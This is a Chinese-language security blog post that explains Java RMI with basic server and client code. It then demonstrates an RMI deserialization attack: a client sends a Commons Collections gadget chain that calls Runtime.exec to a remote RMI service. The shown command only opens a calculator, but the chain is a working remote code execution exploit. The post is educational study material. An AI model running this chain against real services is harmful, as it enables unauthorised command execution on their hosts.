Java安全之RMI反序列化

nice_0e3發表於2020-11-04

Java安全之RMI反序列化

0x00 前言

在分析Fastjson漏洞前,需要了解RMI機制和JNDI注入等知識點,所以本篇文來分析一下RMI機制。

在Java裡面簡單來說使用Java呼叫遠端Java程式使用的就是RMI,呼叫C的程式呼叫的是JNI,呼叫python程式使用到的是Jython。RMI、JNI、Jython,其實在安全中都能發揮比較大的作用。 JNI在安全裡面的運用就比較大了,既然可以呼叫C語言,那麼後面的。。自行腦補。這個暫且忽略不講,後面再說。如果使用或瞭解過python編寫burp的外掛的話,對這個Jython也不會陌生,如果說pthon的外掛就需要安裝一個Jython的jar包。這個後面再說。這裡主要講RMI,該機制會在反序列化中頻繁運用,例如Weblogic的T3協議的反序列化漏洞。

概念

在瞭解RMI前還需要弄懂一些概念。

RMI(Remote Method Invocation,遠端方法呼叫)是用Java在JDK1.2中實現的,它大大增強了Java開發分散式應用的能力。

Java本身對RMI規範的實現預設使用的是JRMP協議。而在Weblogic中對RMI規範的實現使用T3協議。

JRMP:Java Remote Message Protocol ,Java 遠端訊息交換協議。這是執行在Java RMI之下、TCP/IP之上的線路層協議。該協議要求服務端與客戶端都為Java編寫,就像HTTP協議一樣,規定了客戶端和服務端通訊要滿足的規範。
JNDI :Java命名和目錄介面(the Java naming and directory interface,JNDI)是一組在Java應用中訪問命名和目錄服務的API。命名服務將名稱和物件聯絡起來,使得讀者可以用名稱訪問物件。目錄服務是一種命名服務,在這種服務裡,物件不但有名稱,還有屬性。

0x01 RMI作用

RMI概述

RMI(Remote Method Invocation)為遠端方法呼叫,是允許執行在一個Java虛擬機器的物件呼叫執行在另一個Java虛擬機器上的物件的方法。 這兩個虛擬機器可以是執行在相同計算機上的不同程式中,也可以是執行在網路上的不同計算機中。

不同於socket,RMI中分為三大部分:Server、Client、Registry 。

Server: 	提供遠端的物件
Client:		呼叫遠端的物件
Registry:	一個登錄檔,存放著遠端物件的位置(ip、埠、識別符號)

RMI基礎運用

前面也說過RMI可以呼叫遠端的一個Java的物件進行本地執行,但是遠端被呼叫的該類必須繼承java.rmi.Remote介面。

  1. 定義一個遠端的介面
package com.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface rmidemo extends Remote {
    public String hello() throws RemoteException;
}

在定義遠端介面的時候需要繼承java.rmi.Remote介面,並且修飾符需要為public否則遠端呼叫的時候會報錯。並且定義的方法裡面需要丟擲一個RemoteException的異常。

  1. 編寫一個遠端介面的實現類
package com.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo{


    protected RemoteHelloWorld() throws RemoteException {
        System.out.println("構造方法");
    }

    public String hello() throws RemoteException {
        System.out.println("hello方法被呼叫");
        return "hello,world";
    }
}

在編寫該實現類中需要將該類繼承UnicastRemoteObject

  1. 建立伺服器例項,並且建立一個登錄檔,將需要提供給客戶端的物件註冊到註冊到登錄檔中
package com.rmi;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class servet {
    public static void main(String[] args) throws RemoteException {
        rmidemo hello = new RemoteHelloWorld();//建立遠端物件
        Registry registry = LocateRegistry.createRegistry(1099);//建立登錄檔
        registry.rebind("hello",hello);//將遠端物件註冊到登錄檔裡面,並且設定值為hello

    }
}

到了這一步,簡單的RMI服務端的程式碼就寫好了。下面來寫一個客戶端呼叫該遠端物件的程式碼。

  1. 編寫客戶端並且呼叫遠端物件

    package com.rmi.rmiclient;
    
    
    
    import com.rmi.RemoteHelloWorld;
    import com.rmi.rmidemo;
    
    import java.rmi.NotBoundException;
    import java.rmi.Remote;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    public class clientdemo {
        public static void main(String[] args) throws RemoteException, NotBoundException {
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);//獲取遠端主機物件
            // 利用登錄檔的代理去查詢遠端登錄檔中名為hello的物件
            rmidemo hello = (rmidemo) registry.lookup("hello");
            // 呼叫遠端方法
            System.out.println(hello.hello());
        }
    }
    

在這一步需要注意的是,如果遠端的這個方法有引數的話,呼叫該方法傳入的引數必須是可序列化的。在傳輸中是傳輸序列化後的資料,服務端會對客戶端的輸入進行反序列化。網上有很多分析RMI傳輸流量的文章,可以去找找看這裡就不做演示了。

0x02 RMI 反序列化攻擊

需要使用到RM進行反序列化攻擊需要兩個條件:接收Object型別的引數、RMI的服務端存在執行命令利用鏈。

這裡對上面得程式碼做一個簡單的改寫。

遠端介面程式碼:

package com.rmidemo;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
    public String hello(String hello) throws RemoteException;

    void work(Object obj) throws RemoteException;

    void  say() throws RemoteException;

}

需要定義一個object型別的引數方法。

遠端介面實現類程式碼:

package com.rmidemo;

import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements User {
    protected UserImpl() throws RemoteException {
    }

    protected UserImpl(int port) throws RemoteException {
        super(port);
    }

    protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
        super(port, csf, ssf);
    }


    public String hello(String hello) throws RemoteException {
        return "hello";
    }

    public void work(Object obj) throws RemoteException {
        System.out.println("work被呼叫了");
    }

    public void say() throws RemoteException {
        System.out.println("say");
    }
}


server 程式碼:

package com.rmidemo;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws RemoteException {

        User user = new UserImpl();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.rebind("user",user);
        System.out.println("rmi running....");
    }
}

client程式碼:

package com.rmidemo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class client {
    public static void main(String[] args) throws Exception {
        String url = "rmi://192.168.20.130:1099/user";
        User userClient = (User) Naming.lookup(url);


        userClient.work(getpayload());

    }
    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "sijidou");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, transformedMap);
        return instance;
    }


}

執行客戶端後就會執行我們設定好要執行的命令,也就是彈出計算器。之所以會被執行的原因前面也說過RMI在傳輸資料的時候,會被序列化,傳輸的時序列化後的資料,在傳輸完成後再進行反序列化。那麼這時候如果傳輸一個惡意的序列化資料就會進行反序列化的命令執行。至於序列化資料怎麼構造,這個其實分析過CC鏈就一目瞭然了,這裡不做贅述。

參考文章

https://xz.aliyun.com/t/6660#toc-6
https://xz.aliyun.com/t/4711#toc-8

0x03 結尾

在RMI的攻擊手法中,其實不止文中提到的這麼一個,但是這裡就先告一段落先。現在的主要是為了分析Fastjson漏洞做一個前置準備,不多太深的研究。

相關文章